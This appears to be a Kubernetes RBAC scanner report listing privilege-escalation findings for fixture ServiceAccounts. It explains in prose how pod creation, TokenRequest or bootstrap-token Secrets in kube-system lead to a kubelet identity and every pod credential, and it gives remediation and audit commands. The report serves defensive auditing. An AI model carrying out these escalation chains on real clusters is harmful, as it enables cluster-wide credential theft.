A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  1. Break the chain at: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 7.9
ServiceAccount/rbac-fixtures/sa-token-create can obtain a node identity for any node in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create → node identity
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/kube-system/generic-garbage-collector via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount kube-system/generic-garbage-collector
2. ServiceAccount/kube-system/generic-garbage-collector → / via bootstrap_token_mint (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/kube-system/generic-garbage-collector. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/kube-system/generic-garbage-collector, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (delete,get,list,patch,update,watch secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  4. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount kube-system/generic-garbage-collector
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/kube-system/generic-garbage-collector).
  1. Break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/kube-system/generic-garbage-collector).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 7.6
ServiceAccount/privesc-fixtures/sa-pod-create-escape can obtain a node identity for any node in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → node identity
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
2. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  4. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint).
  1. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-secret-mint).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 7.6
ServiceAccount/rbac-fixtures/sa-pod-create can obtain a node identity for any node in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create → node identity
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector via pod_create_token_theft (create pods): can create pods that mount ServiceAccount kube-system/generic-garbage-collector
2. ServiceAccount/kube-system/generic-garbage-collector → / via bootstrap_token_mint (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/kube-system/generic-garbage-collector ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/kube-system/generic-garbage-collector, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (delete,get,list,patch,update,watch secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  4. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount kube-system/generic-garbage-collector
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector).
  1. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 7.6
ServiceAccount/rbac-fixtures/sa-workload-mutate can obtain a node identity for any node in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-workload-mutate → node identity
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/kube-system/generic-garbage-collector via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount kube-system/generic-garbage-collector
2. ServiceAccount/kube-system/generic-garbage-collector → / via bootstrap_token_mint (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-workload-mutate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/kube-system/generic-garbage-collector. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/kube-system/generic-garbage-collector, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (delete,get,list,patch,update,watch secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  4. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount kube-system/generic-garbage-collector
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/kube-system/generic-garbage-collector).
  1. Break the chain at: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/kube-system/generic-garbage-collector).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 7.6
ServiceAccount/vulnerable/privileged-reader can obtain a node identity for any node in 2 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader → node identity
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/kube-system/generic-garbage-collector via pod_create_token_theft (create pods): can create pods that mount ServiceAccount kube-system/generic-garbage-collector
2. ServiceAccount/kube-system/generic-garbage-collector → / via bootstrap_token_mint (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/kube-system/generic-garbage-collector ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/kube-system/generic-garbage-collector, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (delete,get,list,patch,update,watch secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  4. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount kube-system/generic-garbage-collector
  2. Step 2 of 2 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/kube-system/generic-garbage-collector).
  1. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/kube-system/generic-garbage-collector).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 7.2
ServiceAccount/privesc-fixtures/sa-ephemeral can obtain a node identity for any node in 3 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral → node identity
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

